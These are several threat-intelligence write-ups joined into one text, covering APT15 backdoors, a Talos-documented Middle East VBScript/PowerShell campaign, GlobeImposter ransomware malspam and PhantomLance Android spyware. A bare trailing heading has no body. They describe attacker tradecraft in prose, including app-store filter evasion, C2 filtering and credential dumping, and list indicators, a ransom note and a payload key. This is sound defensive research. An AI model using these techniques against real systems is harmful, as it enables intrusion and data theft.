In May 2017, NCC Group’s Incident Response team reacted to an ongoing incident where our client, which provides a range of services to UK Government, suffered a network compromise involving the advanced persistent threat group APT15. APT15 is also known as Ke3chang, Mirage, Vixen Panda GREF, and Playful Dragon. A number of sensitive documents were stolen by the attackers during the incident, and we believe APT15 was targeting information related to UK government departments and military technology.
## APT15 expands its arsenal
During our analysis of the compromise, we identified new backdoors that now appear to be part of APT15’s toolset. The backdoor BS2005 – which has traditionally been used by the group – now appears alongside the additional backdoors RoyalCli and RoyalDNS. The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: `c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb`.
RoyalCli and BS2005 both communicate with the attacker’s command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process. Analysis of the domains and IP address infrastructure used by APT15 identified a number of similar possible domains, shown at the bottom of the post. These appeared to be hosted on either Linode or Google Cloud, with a preference for using the ASN AS63949.
All of the backdoors identified – excluding RoyalDNS – required APT15 to create batch scripts in order to install its persistence mechanism. This was achieved through the use of a simple Windows run key. We believe that APT15 could have employed this technique in order to evade behavioural detection, rather than due to a lack of sophistication or development capability.
Additional tools were recovered during the incident, including a network scanning/enumeration tool, the archiving tool WinRAR, and a bespoke Microsoft SharePoint enumeration and data dumping tool, known as ‘spwebmember’. Spwebmember was written in Microsoft .NET and includes hardcoded values for client project names for data extraction. The tool would connect to the SQL SharePoint database and issue a query to dump all data from the database to a temporary file affixed with ‘spdata’. The group also used keyloggers and their own .NET tool to enumerate folders and dump data from Microsoft Exchange mailboxes.
APT15 was also observed using Mimikatz to dump credentials and generate Kerberos golden tickets. This allowed the group to persist in the victim’s network in the event of remediation actions being undertaken, such as a password reset.
## APT15 lives off the land
Upon ejection from the network, APT15 managed to regain access a couple of weeks later via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host. This time, APT15 opted for a DNS-based backdoor: RoyalDNS. The persistence mechanism used by RoyalDNS was achieved through a service called ‘Nwsapagent’. C2 of this backdoor was performed using the TXT record of the DNS protocol, communicating with the domain ‘andspurs[.]com’.
We mentioned earlier that due to the nature of the IE injection technique used by the HTTP-based backdoors, a number of C2 commands were cached to disk. We were able to recover these files and reverse engineer the encoding routine used by the backdoors in order to uncover the exact commands executed by the attacker. In total, we were able to recover more than 200 commands executed by the attacker against the compromised hosts and gained a clear insight into the attacker’s TTPs. Our decode scripts can be found on our Github page.
Analysis of the commands executed by APT15 reaffirmed the group’s preference to ‘live off the land’. They utilised Windows commands in order to enumerate and conduct reconnaissance activities such as `tasklist.exe`, `ping.exe`, `netstat.exe`, `net.exe`, `systeminfo.exe`, `ipconfig.exe`, and `bcp.exe`. Lateral movement was conducted through a combination of net command, mounting the C$ share of hosts, and manually copying files to or from compromised hosts. APT15 then used a tool known as RemoteExec (similar to Microsoft’s Psexec) in order to remotely execute batch scripts and binaries.
During our analysis of the decoded attacker commands, we noticed a typographical mistake, shown below in the folder name ‘systme’. This indicates that a human operative was executing commands on a command line style interface, rather than an automated or GUI process.
## IOCs
Below are a number of hashes relating to the backdoors identified in use by APT15:
- Royal DNS: `bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d`
- BS2005: `750d9eecd533f89b8aa13aeab173a1cf813b021b6824bc30e60f5db6fa7b950b`
- BS2005: `6ea9cc475d41ca07fa206eb84b10cf2bbd2392366890de5ae67241afa2f4269f`
- RoyalCli: `6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785`
- MS Exchange Tool: `16b868d1bef6be39f69b4e976595e7bd46b6c0595cf6bc482229dbb9e64f1bce`
NCC Group & Fox-IT have created a number of Suricata IDS rules to detect APT15 activity through the use of these backdoors. These, along with YARA signatures for the backdoors identified, can be found in the Github repository linked above.
## Domains
The RoyalCli backdoor was attempting to communicate to the following domains:
- `News.memozilla[.]org`
- `video.memozilla[.]org`
The BS2005 backdoor utilised the following domains for C2:
- `Run.linodepower[.]com`
- `Singa.linodepower[.]com`
- `log.autocount[.]org`
RoyalDNS backdoor was seen communicating to the domain:
- `andspurs[.]com`
Possible linked APT15 domains include:
- `Micakiz.wikaba[.]org`
- `cavanic9[.]net`
- `ridingduck[.]com`
- `zipcodeterm[.]com`
- `dnsapp[.]info`
Written by Rob Smallridge
First published on 10/03/18 |
# Targeted Attacks In The Middle East
This blog post is authored by Paul Rascagneres with assistance from Martin Lee.
## Executive Summary
Talos has identified targeted attacks affecting the Middle East. This campaign contains the following elements, which are described in detail in this article:
- The use of allegedly confidential decoy documents purported to be written by the Jordanian publishing and research house, Dar El-Jaleel. This institute is known for their research of the Palestinian-Israeli conflict and the Sunni-Shia conflict within Iran.
- The attacker extensively used scripting languages (VBScript, PowerShell, VBA) as part of their attack. These scripts are used to dynamically load and execute VBScript functions retrieved from a Command & Control server.
- The attacker demonstrates excellent operational security (OPSEC). The attacker was particularly careful to camouflage their infrastructure. During our investigation, the attacker deployed several reconnaissance scripts to check the validity of victim machines, blocking systems that don't meet their criteria. The attacker uses the reputable CloudFlare system to hide the nature and location of their infrastructure. Additionally, the attacker filters connections based on their User-Agent strings and only enables their infrastructure for short periods before blocking all connections.
This is not the first targeted campaign against the region that uses Dar El-Jaleel decoy documents which we have investigated. However, we have no indication that the previous campaigns are related.
## VBS Campaign
### Stage 1: VBScript
The campaign starts with a VBScript named "From inside Iran's secret war in Syria.vbs". The purpose of this script is to create the second stage PowerShell script described in the next section.
### Stage 2: PowerShell Script
The goal of the generated PowerShell script is to create a Microsoft Office document named Report.doc and to open it.
### Stage 3: Office Document With Macros
This document purports to be written by Dar El-Jaleel. Dar El-Jaleel is a publishing and studies house based in Amman, Jordan. This institute is well-known for their research concerning the Palestinian-Israeli conflict and the Sunni-Shia conflict in Iran. Tagged as confidential, the document is an analysis report on Iranian activities within the Syrian civil war.
This document contains a Macro. The purpose of this Macro is to create a WSF (Windows Script File) file and to execute it.
### Stage 4: WSF Script
The created WSF script is the main part of the infection. The top of the script contains configuration information:
- The hostname of the Command & Control - office-update[.]services
- The port - 2095
- The User-Agent - iq.46-|-377312201708161011591678891211899134718141815539111937189811
The User-Agent is used to identify the targets. The CC filters network connections based on this string, only allowing through connections made with authorized User-Agent strings. The first task of the script is to register the infected system by performing an HTTP request to http://office-update[.]services:2095/store. Next, the script executes an infinite loop, attempting to contact the /search URI every 5 seconds to download and execute additional payloads.
### Additional Payloads
The WSF script receives payloads of three types, named s0, s1, s2. The payloads are VBScript functions loaded and executed on the fly with the ExecuteGlobal() and GetRef() APIs. The only differences between s0, s1, and s2 type payloads are the number of arguments supplied to the executing function. s0 does not require any arguments, s1 accepts one argument, and s2 two arguments.
The downloaded payload functions are obfuscated. The first element is the function type (s0), followed by a separator '-|-'. The second element is the obfuscated function; this consists of ASCII values, separated by '*'.
This technique is used to construct a new VBScript function. During our investigation, we received 5 different functions.
### Reconnaissance Functions
During our investigation, we received a reconnaissance function a few minutes after the initial compromise. The purpose of the function was to retrieve several pieces of information from the infected system, presumably to check if the target is valuable or not (or a sandbox system).
First, the attacker retrieves the disk volume serial number. Secondly, the payload retrieves any installed anti-virus software. Thirdly, it obtains the Internet IP address of the infected system by querying ipify.org. It retrieves the computer name, the username, the Operating System, and the architecture. All these data are sent to the previously mentioned CC using the /is-return URI. The data are stored in the User-Agent separated by "-|-".
Subsequently, we received a second reconnaissance function. The function acts to list the drives of the infected system and their type (internal drive, USB drive, etc.).
### Persistence Functions
In addition to the reconnaissance functions, we received 2 functions linked to the persistence of the WSF script. The first script is used to persist, the second is used to clean the infected system. Our machine was served this after taking too much time to send a request to the C2. Presumably, the attacker determined we were examining their systems and decided to remove the malware to prevent further analysis.
### Pivot Function
Finally, we received a pivot function. This is a s1 function that takes one argument. The purpose is to execute a PowerShell script. The PowerShell script executes a second base64 encoded script. The attacker forces the system to use the 32-bit version of PowerShell even if the operating system architecture is 64 bits.
Finally, we obtain the last PowerShell script. The purpose of this script is to download shellcode from 176[.]107[.]185[.]246 IP, to map it in memory, and to execute it. The attacker takes many precautions before delivering the shellcode. Unfortunately, during our investigation, we weren't served the anticipated shellcode.
## Attackers OPSEC
The attacker behind this campaign put a lot of effort into protecting its infrastructure and avoiding leaking code to analysts. The first Command & Control server is protected by CloudFlare. This choice complicates the analysis and tracking of the campaign. Additionally, the attacker filters on the User-Agent; if your web requests do not fit a specific pattern, your request will be ignored. During our analysis, the attacker was only active during the morning (Central European Timezone), similarly, the various different payloads were only sent during mornings (Central European Time). When an infected system receives the pivot function, the attacker disables their firewall for a few minutes to allow this unique IP to download the shellcode. Afterwards, the server becomes unreachable.
Additionally, we saw that the attackers blocklisted some of our specific User-Agent strings and IP addresses used during our investigation. This high level of OPSEC is exceptional even among presumed state-sponsored threat actors.
## Links with Jenxcus (a.k.a. Houdini/H-Worm)?
If you are familiar with Jenxcus (a.k.a. Houdini/H-Worm), you should see some similarities between the VBScript used during this campaign and this well-known malware: usage of the user-agent to exfiltrate data, reconnaissance techniques, etc. We cannot tell if the attacker used a new version of Jenxcus or if this malware served as the inspiration for their own malicious code. The source code of Jenxcus can be easily found on the Internet. However, the adaptation used in this campaign is more advanced: the features/functions are loaded on demand and the initial script does not include all the malicious code unlike Jenxcus.
## Additional Targets
We can identify different targets based on the User-Agent used by the attacker to identify victims. These are a few examples:
- c = "U.15.7"
- a = "738142201756240710471556115716122461214187935862381799187598"
- c = "1X.134"
- a = "130427201706151111209123451288122413771234715862388136654339"
- c = "Fb-20.9"
- a = "585010201750201110021112344661899112271619123139116684543113"
## Other Campaigns Using Dar El-Jaleel Decoy Documents
This is not the first time Talos has investigated targeted campaigns using Dar El-Jaleel decoy documents. During 2017, we identified several campaigns using the same decoy documents. This document is a weekly report about the major events occurring during the 1st week of November 2017, talking about the most important events happening in Jordan, Iraq, Syria, Lebanon, Palestine, Israel, Russia, ISIS, and the ongoing Gulf Countries conflict with Qatar.
We encountered this document in campaigns using .NET malware (with the CC: foxlive[.]life) and C++ malware (with the CC: download[.]share2file[.]pro). The purpose of the malwares was to retrieve information relating to the targeted systems and to download an additional payload. Moreover, we identified another campaign using a share2file[.]pro subdomain.
This document is a pension list of military personnel dated June 2017, containing names of individuals which we have redacted, alongside a military rank. We don't know if these campaigns are performed by the same actor or different groups interested in this region. These campaigns are still under investigation.
## Conclusion
These campaigns show us that at least one threat actor is interested in and targeting the Middle East. Due to the nature of the decoy documents, we can conclude that the intended targets have an interest in the geopolitical context of the region. The attackers used an analysis report alleged to be written by Dar El-Jaleel, a Jordanian institute specializing in studies of the region. Some of these documents are tagged as confidential.
During the VBS Campaign, we were surprised by the level of OPSEC demonstrated by the attacker and their infrastructure. Legitimate services such as CloudFlare were used to hide malicious activities. Additionally, the attacker used user-agent filtering and firewall rules to grant access to specific infected systems for only a few minutes in order to deliver shellcode. Following this, the server became unreachable. Another notable observation is the fact that the attacker was active only during the morning (Central European timezone) during our investigation.
The usage of script languages is an interesting approach from the attackers' point of view. These languages are natively available on Windows systems, provide a high degree of flexibility, and can easily stay under the radar.
## Coverage
Additional ways our customers can detect and block this threat are listed below:
- Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.
- CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.
- Email Security can block malicious emails sent by threat actors as part of their campaign.
- Network Security appliances such as NGFW, NGIPS, and Meraki MX can detect malicious activity associated with this threat.
- AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
- Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
- Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
## IOCs
### VBS Campaign:
- Initial script: 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b
- Domain #1: office-update[.]services
- IP #2: 176[.]107[.]185[.]246
### .NET Campaign:
- Initial dropper: 4b03bea6817f0d5060a1beb8f6ec2297dc4358199d4d203ba18ddfcca9520b48
- .NET #1: d49e9fdfdce1e93615c406ae13ac5f6f68fb7e321ed4f275f328ac8146dd0fc1
- .NET #2: e66af059f37bdd35056d1bb6a1ba3695fc5ce333dc96b5a7d7cc9167e32571c5
- Domain #1: jo[.]foxlove[.]life
- Domain #2: eg[.]foxlove[.]life
- Domain #3: fox[.]foxlove[.]life
### Campaign #3:
- Initial Dropper: af7a4f04435f9b6ba3d8905e4e67cfa19ec5c3c32e9d35937ec0546cce2dd1ff
- Payload: 76a9b603f1f901020f65358f1cbf94c1a427d9019f004a99aa8bff1dea01a881
- Domain: download[.]share2file[.]pro
### Campaign #4:
- Initial Dropper: 88e4f306f126ce4f2cd7941cb5d8fcd41bf7d6a54cf01b4a6a4057ed4810d2b6
- Payload #1: c5bfb5118a999d21e9f445ad6ccb08eb71bc7bd4de9e88a41be9cf732156c525
- Payload #2: 1176642841762b3bc1f401a5987dc55ae4b007367e98740188468642ffbd474e
- Domain: update[.]share2file[.]pro |
# New .DOC GlobeImposter Ransomware Variant Malspam Campaign Underway
By Lawrence Abrams
December 22, 2017
A new malspam campaign is underway that is distributing a GlobeImposter variant that appends the .doc extension to encrypted files. This malspam is pretending to be photos being sent to the recipient and will have a subject line that starts in a similar way to "Emailing: IMG_20171221_".
## GlobeImposter MalSpam
These malspam emails contain 7zip (.7z) archive attachments that are named after a camera photo's filename such as IMG_[date]_[number]. These 7z files contain an obfuscated .js file that when double-clicked on will cause the GlobeImposter ransomware to be downloaded from a remote site and executed.
An example of this JS installer can be seen below.
After the executable is downloaded, it will be executed and the GlobeImposter ransomware will begin to encrypt the computer. When encrypting files on the computer it will append the .doc extension to the encrypted file's name. For example, a file called 1.doc would be renamed to 1.doc..doc.
When GlobeImposter encrypts files it will also create a ransom note named Read___ME.html in each folder a file is encrypted.
This ransom note contains instructions to use Tor to go to the http://n224ezvhg4sgyamb.onion/sup.php onion site. This site then tells you to contact them to receive payment instructions and to decrypt one file for free. It also lists the email server [email protected] as a way to contact them.
It also contains a link to a support site where you can send them a message.
Unfortunately, at this time there is no way to decrypt GlobeImposter files for free. For support or help with this ransomware infection, you can ask in our dedicated GlobeImposter Ransomware Support topic.
## How to protect yourself from the GlobeImposter Ransomware
In order to protect yourself from the GlobeImposter Ransomware you should use standard security practices. This includes using good computing habits and security software. First and foremost, you should always have a reliable and tested backup of your data that can be restored in the case of an emergency, such as a ransomware attack.
You should also have security software that incorporates behavioral detections to combat ransomware and not just signature detections or heuristics. For example, Emsisoft Anti-Malware and Malwarebytes Anti-Malware both contain behavioral detection that can prevent many, if not most, ransomware infections from encrypting a computer.
Last, but not least, make sure you practice the following security habits, which in many cases are the most important steps of all:
- Do not open attachments if you do not know who sent them.
- Do not open attachments until you confirm that the person actually sent you them.
- Enable the showing of file extensions.
- If an attachment ends with .js, .vbs, .exe, .scr, or .bat, do not open them for any reason.
- Scan attachments with tools like VirusTotal.
- Make sure all Windows updates are installed as soon as they come out! Also make sure you update all programs, especially Java, Flash, and Adobe Reader. Older programs contain security vulnerabilities that are commonly exploited by malware distributors. Therefore it is important to keep them updated.
- Make sure you have some sort of security software installed that uses behavioral detections or whitelist technology. Whitelisting can be a pain to train, but if you're willing to stick with it, could have the biggest payoffs.
- Use hard passwords and never reuse the same password at multiple sites.
For a complete guide on ransomware protection, you can visit our How to Protect and Harden a Computer against Ransomware article.
A big thanks to Eric Taylor of IT-Simplified for pointing out the malspam campaign.
## IOCs
**Doc GlobeImposter Variant Hashes:**
SHA256: 15e8c986c4602c61a474b51d250e03d5bb178eabc8c5a82a242c1a0fa2227704
**Doc GlobeImposter Variant Associated Files:**
Read___ME.html
**Doc GlobeImposter Variant Network Connections:**
http://n224ezvhg4sgyamb.onion/sup.php
**Doc GlobeImposter Variant Email addresses:**
[email protected]
**Doc GlobeImposter Variant Ransom Note:**
Your files are Encrypted!
For data recovery needs decryptor.
If you want to buy a decryptor click "Buy Decryptor"
If not working, click again.
Free decryption as guarantee.
Before paying you can send us 1 file for free decryption.
If you cannot contact, follow these two steps:
1. Install the TOP Browser from this link: torproject.org
2. Open this link in the TOP browser: http://n224ezvhg4sgyamb.onion/sup.php
Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies. |
# Hiding in Plain Sight: PhantomLance Walks into a Market
**Authors**
Alexey Firsh
Lev Pikman
In July 2019, Dr. Web reported about a backdoor trojan in Google Play, which appeared to be sophisticated and unlike common malware often uploaded for stealing victims’ money or displaying ads. So, we conducted an inquiry of our own, discovering a long-term campaign, which we dubbed “PhantomLance,” its earliest registered domain dating back to December 2015. We found dozens of related samples that had been appearing in the wild since 2016 and had been deployed in various application marketplaces including Google Play. One of the latest samples was published on the official Android market on November 6, 2019. We informed Google of the malware, and it was removed from the market shortly after.
During our investigation, we discovered various overlaps with reported OceanLotus APT campaigns. Thus, we found multiple code similarities with the previous Android campaign, as well as macOS backdoors, infrastructure overlaps with Windows backdoors, and a few cross-platform resemblances.
Besides the attribution details, this document describes the actors’ spreading strategy, their techniques for bypassing app market filters, malware version diversity, and the latest sample deployed in 2020, which uses Firebase to decrypt the malicious payload. We also found out that the Blackberry Cylance research team investigated this activity.
## Malware Versions
For the purposes of the research, we divided samples we found into a series of “versions” based on technical complexity: from the basic Version 1 to the highly sophisticated Version 3. Note that they do not fully correlate with the chronological order of their appearance in the wild: for example, we observed Version 1 samples in late 2019 and in 2017, the year that we also saw Version 3.
Functionality of all samples is similar – the main purpose of spyware was to gather sensitive information. While the basic functionality was not very broad, and included geolocation, call logs, contact access, and SMS access, the application could also gather a list of installed applications, as well as device information, such as model and OS version. Furthermore, the threat actor was able to download and execute various malicious payloads, thus adapting the payload that would be suitable to the specific device environment, such as Android version and installed apps. This way the actor is able to avoid overloading the application with unnecessary features and at the same time gather information needed.
### Version 1
We attribute the latest Google Play sample (MD5: 2e06bbc26611305b28b40349a600f95c) to this version. This is a clear payload, and unlike the other versions, it does not drop an additional executable file. Our main theory about the reasons for all these versioning maneuvers is that the attackers are trying to use diverse techniques to achieve their key goal, to bypass the official Google marketplace filters. And achieve it they did, as even this version passed Google’s filters and was uploaded to Google Play Store in 2019.
No suspicious permissions are mentioned in the manifest file; instead, they are requested dynamically and hidden inside the dex executable. This seems to be a further attempt at circumventing security filtering. In addition to that, there is a feature that we have not seen before: if the root privileges are accessible on the device, the malware can use a reflection call to the undocumented API function “setUidMode” to get permissions it needs without user involvement. Note that this trick only works with Android SDK version 19 or higher.
Most of the aforementioned operations naturally require root access, but we believe that the root exploit may be delivered as payload in a server response to collected device info. Also, some of the applications that the malware mimics will have notified the user that they only work on rooted devices. For instance, Browser Cleaner can only clean up the browser cache if it is given root permissions.
### Version 2
Specimens of this version were also detected in 2019 and earlier. One of the samples was located in Google Play Store in November 2019 and described in the Dr. Web blog. Based on our detection statistics and spotted version stamps, we believe that this version is a replacement for Version 3, which we did not observe in 2019.
Below are the most valuable points and main differences from Version 1. The malicious payload APK is now packed in an encrypted file in the assets directory and is decrypted by the first stage using an AES algorithm. A decryption key and initialization vector (IV) are located in the first 32 + 16 bytes of the encrypted payload.
After decryption, the asset file will look like this. As you can see, before the APK magic, the file header contains strings that are used for making further reflection calls to payload methods. Here is the first-stage code fragment with explanations regarding the payload loading process.
All Version 2 payloads use the same package name, “com.android.play.games,” which probably mimics the official Google Play Games package, “com.google.android.play.games.” Moreover, we spotted developer version stamps in decrypted payloads.
| MD5 | Developer Version Stamp |
| --- | ----------------------- |
| 65d399e6a77acf7e63ba771877f96f8e | 5.10.6084 |
| 6bf9b834d841b13348851f2dc033773e | 5.10.6090 |
| 8d5c64fdaae76bb74831c0543a7865c3 | 5.10.9018 |
| 3285ae59877c6241200f784b62531694 | 5.10.9018 |
| e648a2cc826707aec33208408b882e31 | 5.10.9018 |
It is worth mentioning payload manifests, which do not contain any permission requests. As stated in the description of Version 1, permissions required by the malicious features are granted via an undocumented Android API.
We have found two different certificates used for signing Version 2 payloads.
| MD5 | Certificate |
| --- | ----------- |
| 6bf9b834d841b13348851f2dc033773e | Serial Number: 0xa4ed88e620b8262e <br> Issuer: CN=Lotvolron <br> Validity: from = Wed Jan 20 11:30:49 MSK 2010 |
| 65d399e6a77acf7e63ba771877f96f8e | |
| 8d5c64fdaae76bb74831c0543a7865c3 | Serial Number: 0xd47c08706d440384 <br> Issuer: CN=Ventoplex <br> Validity: from = Wed Apr 13 05:21:26 MSK 2011 |
| 3285ae59877c6241200f784b62531694 | |
| e648a2cc826707aec33208408b882e31 | |
Although validity dates look spoofed in both cases and do not point to any real deployment times, by analyzing all payload certificates, we discovered that the second one (Ventoplex) was used to sign Version 3 payloads as well.
### Version 2.1
The latest samples of PhantomLance discovered in early 2020 introduced a new technique for decrypting payloads: the malicious payload was shipped with its dropper, encrypted with AES. The key is not stored anywhere in the dropper itself but sent to the device using Google’s Firebase remote config system. The other technical features are very similar to the ones we observed in Version 2, so we tagged this generation as Version 2.1.
We were able to make a valid request to PhantomLance’s Firebase API. The response consisted of a JSON structure containing the AES decryption key, where the “code_disable” value is the decryption key for the payload.
```json
{
"entries": {
"code_disable": "27ypYitp1UFc9Tvh"
},
"appName": "com.ozerlab.callrecorder",
"state": "UPDATE"
}
```
What is important, the dropper expects that the AES decryption key will be stored in a parameter named “code,” so this specific variant should not function properly. Besides, we noticed that Firebase previously returned one more field, named “conf_disable,” which has the same value as the “code_disable,” so we assume that the actors are still tinkering with this new feature.
Another interesting technique that the actors are trying to implement is a third-stage payload implant. The second-stage payload (MD5: 83cd59e3ed1ba15f7a8cadfe9183e156) contains an APK file named “data” (MD5: 7048d56d923e049ca7f3d97fb5ba9812) with a corrupted header in the assets path.
The second stage reads this APK file, decrypts it, and rewrites its first 27 bytes as described below. This results in an APK file (MD5: c399d93146f3d12feb32da23b75304ba) that appears to be a typical PhantomLance payload configured with already known C2 servers (cloud.anofrio[.]com, video.viodger[.]com, api.anaehler[.]com). This third-stage APK is deployed with a custom native library named “data.raw,” also stored at the assets path. This library is used for achieving persistence on the infected device and appears to be a custom daemonized ELF executable based on the open-source “daemon.c” Superuser tool component, while in previous samples, we saw MarsDaemon used for this purpose.
### Version 3
While we have found that Version 2 has been used as a replacement for this one, as we have not observed any new deployments of Version 3 in 2019, it still looks more advanced in terms of technical details than Version 2. According to our detection statistics and deployment dates on application markets, Version 3 was active at least from 2016 to 2018.
Below are the most valuable points and main differences between Version 3 and Version 2. The first-stage dropper appears even more obfuscated than that in Version 2; it uses a similar way of decrypting the payload, but it has minor differences. The encrypted content is split into multiple asset files under 10256 bytes in size plus an encrypted config file, and contains payload decryption details.
Below is the payload decryption sequence.
1. Decrypt the payload config file from the assets with both a hardcoded name and AES key.
2. Read the following values from the decrypted payload config file in this order:
- AES key for APK payload decryption
- Class and method names for reflection calls to the payload
- MD5 for APK payload integrity check
- Number and names of the split APK payload parts
3. Decrypt the APK payload header hardcoded in the first stage with the AES key from the payload config. Write it to the APK payload file.
4. Using decrypted names of the split payload parts, decrypt their content and append them to the APK payload file one by one.
5. Check the integrity of the resulting APK payload file by comparing with the MD5 value decrypted from the payload config.
6. Load and run the APK payload.
Each Version 3 payload has the same package name, “com.android.process.gpsp,” and is signed with the same certificate (CN=Ventoplex), used to sign some of the Version 2 payloads. The only developer version stamp that we have found in Version 3 payloads is “10.2.98.” Another notable finding is the 243e2c6433815f2ecc204ada4821e7d6 sample, which we believe belongs to a Version 3 payload. However, no related dropper has been spotted in the wild, and unlike the other payloads, it is signed with a debug certificate and not obfuscated at all, revealing all variable/class/method names and even BuildConfig values. Our guess is that this is a debug developer version that somehow got leaked.
As a conclusion to this technical review, it is worth saying that all payloads across the different versions, even Version 1, which is in fact a clear payload without a dropper, share a code structure and locations where sensitive strings, such as C2 addresses, are stored.
## Spread
The main spreading vector used by the threat actors is distribution through application marketplaces. Apart from the com.zimice.browserturbo, which we have reported to Google, and com.physlane.opengl, reported by Dr. Web, we have observed tracks indicating that many malicious applications were deployed to Google Play in the past and have now been removed.
Some of the applications whose appearance in Google Play we can confirm:
| Package Name | Google Play Persistence Date (at least) |
| ------------ | --------------------------------------- |
| com.zimice.browserturbo | 2019-11-06 |
| com.physlane.opengl | 2019-07-10 |
| com.unianin.adsskipper | 2018-12-26 |
| com.codedexon.prayerbook | 2018-08-20 |
| com.luxury.BeerAddress | 2018-08-20 |
| com.luxury.BiFinBall | 2018-08-20 |
| com.zonjob.browsercleaner | 2018-08-20 |
| com.linevialab.ffont | 2018-08-20 |
Besides, we have identified multiple third-party marketplaces that, unlike Google Play, still host the malicious applications, such as apkcombo[.]com, apk[.]support/, apkpure[.]com, apkpourandroid[.]com, and many others.
In nearly every case of malware deployment, the threat actors try to build a fake developer profile by creating a Github account that contains only a fake end-user license agreement (EULA).
During our extensive investigation, we spotted a certain tactic often used by the threat actors for distributing their malware. The initial versions of applications uploaded to app marketplaces did not contain any malicious payloads or code for dropping a payload. These versions were accepted because they contained nothing suspicious, but follow-up versions were updated with both malicious payloads and code to drop and execute these payloads. We were able to confirm this behavior in all of the samples, and we were able to find two versions of the applications, with and without a payload.
Third-party marketplaces often serve as a mirror for Google Play: they simply copy applications and metadata from Google Play to their own servers. Therefore, it is safe to assume that the samples listed in the table were copied from Google Play as well.
## Infrastructure
While analyzing the C2 server infrastructure, we quickly identified multiple domains that shared similarities with previous ones but were not linked to any known malware samples. This allowed us to uncover more pieces of the attackers’ infrastructure.
Tracking PhantomLance’s old infrastructure, which dated back four years, we noticed that the expired domain names had been extended. The maintenance suggested that the infrastructure might be used again in the future.
| Domain | Registered | Last Updated |
| ------ | ---------- | ------------ |
| osloger[.]biz | 2015-12-09 | 2019-12-01 |
| log4jv[.]info | 2015-12-09 | 2019-11-26 |
| sqllitlever[.]info | 2015-12-09 | 2019-11-26 |
| anofrio[.]com | 2017-05-16 | 2020-03-30 |
| anaehler[.]com | 2017-05-16 | 2020-03-30 |
| viodger[.]com | 2017-05-16 | 2020-04-07 |
The PhantomLance TTPs indicate that samples are configured only with subdomains as C2 servers, while most, but not all, parent domains do not have their own IP resolution. We checked the ones that did have a valid resolution and found that they all resolved to the same IP address: 188.166.203[.]57. It belongs to the DigitalOcean cloud infrastructure provider and, according to Domaintools, hosts a total of 129 websites.
Looking up records for this IP address in our passive DNS database suggests that a few dozen of these websites are legitimate, as well as the aforementioned PhantomLance domains and two more interesting overlaps with OceanLotus infrastructure:
- browsersyn[.]com: known domain used as a C2 in a previously publicly reported sample (MD5: b1990e19efaf88206f7bffe9df0d9419) considered by the industry to be the OceanLotus APT.
- cerisecaird[.]com: privately received information indicates that this domain is related to OceanLotus as well.
## Victimology
We have observed around 300 infection attacks on Android devices in India, Vietnam, Bangladesh, Indonesia, etc., starting in 2016. Below is a rough cartographic representation of countries with top attempted attacks. We have also seen a number of detections in Nepal, Myanmar, and Malaysia. As you can see, this part of South Asia seems to be targeted by the actors the most.
To get more details on targeted victims, we looked at the types of applications that the malware mimicked. Apart from common luring applications, such as Flash plugins, cleaners, and updaters, there were those that specifically targeted Vietnam.
- luxury.BeerAddress – “Tim quan nhau | Tìm quán nhậu” (“Find each other | Find pubs” in Vietnamese). An application for finding the nearest pub in Vietnam.
- codedexon.churchaddress – “Địa Điểm Nhà Thờ” (“Church Place”)
- bulknewsexpress.news – “Tin 247 – Đọc Báo Hàng Ngày” (“Read Daily Newspaper”)
## Overlaps with Previous Campaigns
In this section, we provide a correlation of PhantomLance’s activity with previously reported campaigns related to the OceanLotus APT.
In May 2019, Antiy Labs published a report in which they described an Android malware campaign, claiming that it was related to OceanLotus APT. We checked the provided indicators using information from our telemetry and found that the very first tracks of these samples date back to December 2014.
It is important to note that according to our detection statistics, the majority of users affected by this campaign were located in Vietnam, with the exception of a small number of individuals located in China. The main infection vector seems to be links to malicious applications hosted on third-party websites, possibly distributed via SMS or email spearphishing attacks.
Using our malware attribution technology, we can see that the PhantomLance payloads are at least 20% similar to the ones from the old OceanLotus Android campaign.
## IOC
### Kaspersky Lab Products Verdicts
- **PhantomLance**
- HEUR:Backdoor.AndroidOS.PhantomLance.*
- HEUR:Trojan-Dropper.AndroidOS.Dnolder.*
- **Android Campaign Linked to OceanLotus (2014-2017)**
- HEUR:Trojan.AndroidOS.Agent.eu
- HEUR:Trojan.AndroidOS.Agent.vg
- HEUR:Trojan-Downloader.AndroidOS.Agent.gv
- **macOS Campaign Linked to OceanLotus**
- HEUR:Backdoor.OSX.OceanLotus.*
### MD5
**PhantomLance Malware**
- 2e06bbc26611305b28b40349a600f95c
- b1990e19efaf88206f7bffe9df0d9419
- 7048d56d923e049ca7f3d97fb5ba9812
- e648a2cc826707aec33208408b882e31
- 3285ae59877c6241200f784b62531694
- 8d5c64fdaae76bb74831c0543a7865c3
- 6bf9b834d841b13348851f2dc033773e
- 0d5c03da348dce513bf575545493f3e3
**Android Campaign 2014-2017**
- 0e7c2adda3bc65242a365ef72b91f3a8
**Domains and IP Addresses**
**PhantomLance**
- mine.remaariegarcia[.]com
- egg.stralisemariegar[.]com
- api.anaehler[.]com
- cloud.anofrio[.]com
- video.viodger[.]com
**Android Campaign 2014-2017**
- mtk.baimind[.]com
- ming.chujong[.]com
- mokkha.goongnam[.]com
- ckoen.dmkatti[.]com
- sadma.knrowz[.]com
- itpk.mostmkru[.]com
**Apple MacOS APT**
- Backdoor
- Google Android
- Malware Descriptions
- Malware Technologies
- Spyware
- Trojan-Dropper |
# Unflattening ConfuserEx .NET Code in IDA
